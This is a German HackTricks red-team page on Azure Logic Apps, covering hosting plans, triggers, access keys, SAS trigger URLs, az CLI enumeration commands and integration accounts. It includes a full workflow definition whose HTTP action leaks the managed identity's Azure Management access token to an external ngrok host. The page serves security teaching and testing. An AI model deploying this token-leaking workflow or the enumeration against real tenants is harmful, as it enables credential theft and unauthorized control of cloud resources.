Az - Logic Apps

Reading time: 15 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundinformationen

Azure Logic Apps ermöglicht Entwicklern, Workflows zu erstellen und auszuführen, die verschiedene Dienste, Datenquellen und Anwendungen integrieren. Diese Workflows sind darauf ausgelegt, Geschäftsprozesse zu automatisieren, Aufgaben zu orchestrieren und Datenintegrationen über verschiedene Plattformen hinweg durchzuführen.

Logic Apps bietet einen visuellen Designer, um Workflows mit einer breiten Palette von vorgefertigten Konnektoren zu erstellen, was es einfach macht, sich mit verschiedenen Diensten zu verbinden und zu interagieren:

https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png

Hosting-Optionen

Es gibt mehrere Hosting-Optionen:

  • Consumption
  • Multi-tenant: Dies bietet gemeinsame Rechenressourcen, arbeitet in der öffentlichen Cloud und folgt einem Preismodell pro Operation. Dies ist ideal für leichte und kosteneffiziente Workloads. Dies nennen wir einen "Single Workflow".
  • Standard
  • Workflow Service Plan: Dies bietet dedizierte Rechenressourcen mit VNET-Integration für das Networking und berechnet pro Instanz des Workflow-Serviceplans. Es eignet sich für anspruchsvollere Workloads, die mehr Kontrolle erfordern.
  • App Service Environment V3: Dies bietet dedizierte Rechenressourcen mit vollständiger Isolation und Skalierbarkeit. Es integriert sich auch mit VNET für das Networking und verwendet ein Preismodell, das auf App Service-Instanzen innerhalb der Umgebung basiert.
  • Hybrid: Dies ist für lokale Verarbeitung und Multi-Cloud-Unterstützung konzipiert. Es ermöglicht kundenverwaltete Rechenressourcen mit lokalem Netzwerkzugang und nutzt Kubernetes Event-Driven Autoscaling (KEDA). Es basiert auf einer Container-App-verbundenen Umgebung.

"Single" Workflows / Consumption Plan

Ein Workflow ist eine strukturierte Abfolge automatisierter Schritte oder Aufgaben, die einen bestimmten Prozess oder ein Ziel ausführen. Er definiert, wie verschiedene Aktionen, Bedingungen und Entscheidungen interagieren, um ein gewünschtes Ergebnis zu erzielen, wodurch die Abläufe optimiert und der manuelle Aufwand reduziert wird.

tip

Der Consumption-Plan ermöglicht die Erstellung eines einzelnen Workflows ohne die Notwendigkeit einer Logic App selbst.

Trigger & Aktionen

Workflow-Trigger geben an, wann der Workflow gestartet werden soll. Trigger können ein HTTP-Endpunkt, ein Zeitplan oder Dutzende verschiedener Ereignisse aus Azure oder sogar externen Apps sein.

Jeder Workflow hat verschiedene Aktionen. Diese Aktionen sind die Schritte, die der Workflow ausführt. Abhängig von der Aktion stehen verschiedene Parameter zur Verfügung, um sie zu konfigurieren, wie:

  • Verbindungsname: Verbindung, die die Aktion verwenden wird.
  • Authentifizierungstyp: Die verschiedenen Optionen sind Access Key, Microsoft Entra ID, integrierte Dienstprinzipal-Authentifizierung und Logic Apps Managed Identity.
  • Aus einer Read-Only-Perspektive sind die Authentifizierungsdaten immer interessant, da sie sensible Informationen enthalten könnten.
  • Aus einer Write-Perspektive sind die Authentifizierungsdaten immer interessant, da sie die Verwendung der Berechtigungen der zugewiesenen verwalteten Identitäten ermöglichen könnten.
  • ...

Aktionen haben auch verschiedene Einstellungen, die von der Aktion selbst abhängen. Einige der häufigsten Einstellungen sind:

  • Wiederholungsrichtlinie: Konfiguriert die Anzahl der Wiederholungen und das Intervall zwischen ihnen.
  • Zeitüberschreitung: Legt die maximale Zeit fest, die die Aktion laufen kann, bevor sie abläuft.
  • Nach Ausführung: Gibt die Bedingungen an, die erfüllt sein müssen, bevor die Aktion ausgeführt wird.
  • Schema-Validierung: Stellt sicher, dass eingehende Daten einer vordefinierten Struktur folgen.
  • Netzwerk: Konfiguriert, wie verschiedene Header verwaltet werden.
  • Sichere Eingaben/Ausgaben: Dies verbirgt Eingabe-/Ausgabedaten aus dem Ausführungsverlauf.
  • ...

Autorisierungsrichtlinien

Diese Workflows unterstützen Autorisierungsrichtlinien mit Entra ID, um anforderungsbasierte Trigger zu sichern, indem ein gültiges Zugriffstoken erforderlich ist. Dieses Token muss spezifische Ansprüche enthalten:

  • Aussteller (iss), um den Identitätsanbieter zu überprüfen
  • Zielgruppe (aud), um sicherzustellen, dass das Token für die Logic App bestimmt ist
  • Subjekt (sub), um den Anrufer zu identifizieren
  • JWT-ID (JSON Web Token-Identifikator)
  • Benutzerdefinierter Anspruch

Wenn eine Anfrage eingeht, validiert Logic Apps das Token anhand dieser Ansprüche und erlaubt die Ausführung nur, wenn sie mit der konfigurierten Richtlinie übereinstimmen. Dies kann verwendet werden, um einem anderen Mandanten zu erlauben, den Workflow auszulösen, oder um Trigger von anderen Quellen abzulehnen, zum Beispiel nur den Trigger zuzulassen, wenn er von https://login.microsoftonline.com/ kommt.

Zugriffsschlüssel

Workflows generieren 2 Zugriffsschlüssel, wenn sie erstellt werden. Diese Schlüssel werden verwendet, um Anfragen an den Workflow zu authentifizieren und zu autorisieren. Die Schlüssel werden verwendet, um ein Shared Access Signature (SAS)-Token zu generieren, das in der Anfrage-URL enthalten ist.

Wenn also ein HTTP-Endpunkt-Trigger erstellt wird, wird ein einzigartiger HTTP-Endpunkt mit einer SAS-Signatur generiert, der die Berechtigung zum Aufrufen des Workflows gewährt.

Diese Schlüssel können regeneriert werden, und eine neue SAS-URL wird für diese Trigger erstellt, aber die Schlüsselwerte können nicht abgerufen werden.

Beispiel einer SAS-URL zum Auslösen eines Triggers:

https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>

Workflow-Einstellungen & Komponenten

  • Trigger-Zugriffsoption: Diese Einstellung ermöglicht es Ihnen, einzuschränken, wer Ihren Workflow auslösen oder starten kann. Die Optionen sind Any IP, Only other workflow und Specific IP ranges.
  • Integrationskonto: Verknüpfen Sie Ihren Workflow mit einem Integrationskonto.
  • Hohe Durchsatzrate: Wenn aktiviert, ermöglicht es, mehr Anfragen schnell parallel zu bearbeiten.
  • Aufbewahrung der Ausführungsverlauf: Dies gibt die Anzahl der Tage an, an denen der Ausführungsverlauf aufbewahrt wird.
  • API-Verbindungen: Dies zeigt die verschiedenen API-Verbindungen, die der Workflow hat. Innerhalb jeder dieser Verbindungen gibt es unterschiedliche Eigenschaften und die Möglichkeit, die API-Verbindung zu bearbeiten, bei der der Authentifizierungstyp geändert werden kann.
  • Verlauf: Es gibt die Option, auf den Verlauf alter Ausführungen zuzugreifen und Daten abzurufen: Einstellungen, Ausgabe, Parameter und den Code.
  • Versionen: Es gibt die Option, auf verschiedene Versionen des Workflows zuzugreifen, wo Sie den Code überprüfen und den aktuellen Workflow mit einer älteren Version davon ändern können.
  • Verwaltete Identitäten: Es ist möglich, 1 systemverwaltete Identität und eine benutzerverwaltete Identität dem Workflow zuzuweisen.

Leak MI-Zugriffstoken

Die HTTP-Aktion in einem Workflow kann verwendet werden, um Daten an ein externes Web zu senden. In den Erweiterten Parametern der HTTP-Aktion ist es möglich, den Authentifizierungstyp als Managed identity zu konfigurieren und dann die zugewiesene verwaltete Identität auszuwählen (System oder Benutzer).

Darüber hinaus ist es möglich, im Audience das Publikum des generierten JWT anzugeben, das beispielsweise https://management.azure.com/ sein könnte, um das generierte Token zu verwenden, um auf die Azure Management-API zuzugreifen.

warning

Wenn die Aktion die HTTP-Anfrage an einen von einem Angreifer kontrollierten Server sendet, ist es möglich, das Zugriffstoken der verwalteten Identität, die dem Workflow zugewiesen ist, zu leaken.

tip

Ein Angreifer könnte auch andere Arten von Aktionen verwenden, um direkt auf andere Azure-Dienste zuzugreifen und Aktionen mit den Berechtigungen der verwalteten Identität durchzuführen.

Dies ist der Code eines Workflows, der einen HTTP-Endpunkt exponiert und dann eine HTTP-Aktion verwendet, um das Zugriffstoken an die konfigurierte URL (ngrok in diesem Fall) zu leaken:

Workflow-Code
json
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"triggers": {
"When_a_HTTP_request_is_received": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"runAfter": {},
"type": "Http",
"inputs": {
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
"method": "GET",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
},
"runtimeConfiguration": {
"contentTransfer": {
"transferMode": "Chunked"
}
}
}
},
"outputs": {},
"parameters": {
"$connections": {
"type": "Object",
"defaultValue": {}
}
}
},
"parameters": {
"$connections": {
"type": "Object",
"value": {}
}
}
}

Logic Apps / Standardplan

Unterschiede zu "Einzel"-Workflows

Logic Apps verwenden im Hintergrund im Grunde einen App Service, um die Logic App zu hosten, die mehrere Workflows hosten kann. Das bedeutet, dass die Logic App alle Funktionen eines App Service und der "Einzel"-Workflows haben wird.

Einige wichtige Funktionen wären:

  • App Service Plan: Logic Apps im Standardplan werden auf einem App Service Plan gehostet, sodass alle Funktionen des App Service genutzt werden können, wie:
  • Netzwerkbeschränkungen: Geben Sie an, von wo aus sie zugänglich sind.
  • Bereitstellungszentrum: Bereitstellung von externen Plattformen wie Github, Bitbucket, Azure Repos, External Git und Local Git.
  • FTP-Zugriff: Es ist möglich, auf die Dateien der Logic App über FTP zuzugreifen.
  • Speicherkonto: Die Service-App verwendet ein Speicherkonto, um Informationen zu speichern.
  • Umgebungsvariablen & App-Einstellungen: Es ist möglich, Umgebungsvariablen und App-Einstellungen zu konfigurieren (und sensible Informationen wie Zugriffsschlüssel zum Speicherkonto zu finden).
  • ...
  • Parameter: Parameter ermöglichen es Ihnen, Werte zu verwalten, die sich zwischen Entwicklung, Test und Produktion unterscheiden. Dies ermöglicht es Ihnen, Workflows zuerst zu entwerfen und dann später Umgebungs-spezifische Einstellungen einfach anzupassen.
  • Dedizierte Ressourcen: Logic Apps im Standardplan haben dedizierte Ressourcen.
  • Mehrere Workflows: Es ermöglicht die Erstellung mehrerer Workflows.

Für weitere Informationen zu App Services siehe:

Az - Azure App Services

Enumeration

bash
# List
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>

# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"

# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"

# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"

# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"

# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>

# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>

# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>

# Get a Parameters from an Azure App Service using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{app-service-name}/hostruntime/admin/vfs/parameters.json?api-version=2018-11-01&relativepath=1"

# Get webhook-triggered workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/hostruntime/runtime/webhooks/workflow/api/management/workflows?api-version=2018-11-01"

# Get workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows?api-version=2018-11-01"

# Get details of a specific workflow including its connections and parameters in Azure Logic Apps using Azure REST API
az rest --method GET --uri "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows/{workflow-name}?api-version=2018-11-01&\$expand=connections.json,parameters.json"


Integrationskonten

Integrationskonten sind eine Funktion von Azure Logic Apps. Integrationskonten werden verwendet, um unternehmensweite Integrationen zu erleichtern, indem sie erweiterte B2B-Funktionen wie EDI, AS2 und XML-Schema-Management ermöglichen. Integrationskonten sind ein Container in Azure, der die folgenden Artefakte speichert, die für Logic Apps verwendet werden:

  • Schemas: Verwaltet XML-Schemas zur Validierung und Verarbeitung von Nachrichten in Ihrem Integrationskonto.
  • Maps: Konfiguriert XSLT-basierte Transformationen zur Konvertierung von Datenformaten innerhalb Ihrer Integrations-Workflows.
  • Assemblies: Verwaltet Integrationskonten-Assemblies, um Logik und Datenverarbeitung zu optimieren.
  • Certificates: Handhabt Zertifikate zur Verschlüsselung und Signierung von Nachrichten, um eine sichere Kommunikation zu gewährleisten.
  • Partners: Verwaltet Informationen über Handelspartner für B2B-Transaktionen und ermöglicht nahtlose Integrationen.
  • Agreements: Konfiguriert Regeln und Einstellungen für den Datenaustausch mit Handelspartnern (z. B. EDI, AS2).
  • Batch Configurations: Verwaltet Konfigurationen für die Batchverarbeitung, um Nachrichten effizient zu gruppieren und zu verarbeiten.
  • RosettaNet PIP: Konfiguriert RosettaNet Partner Interface Processes (PIPs) zur Standardisierung der B2B-Kommunikation.

Aufzählung

bash
# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>

# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>

az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>

# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>

# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>

# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>

# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>


Privilegienerweiterung

Gleich wie bei Logic Apps Privesc:

Az - Logic Apps Privesc

Post-Exploitation

Az - Logic Apps Post Exploitation

Persistenz

Az - Logic Apps Persistence

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks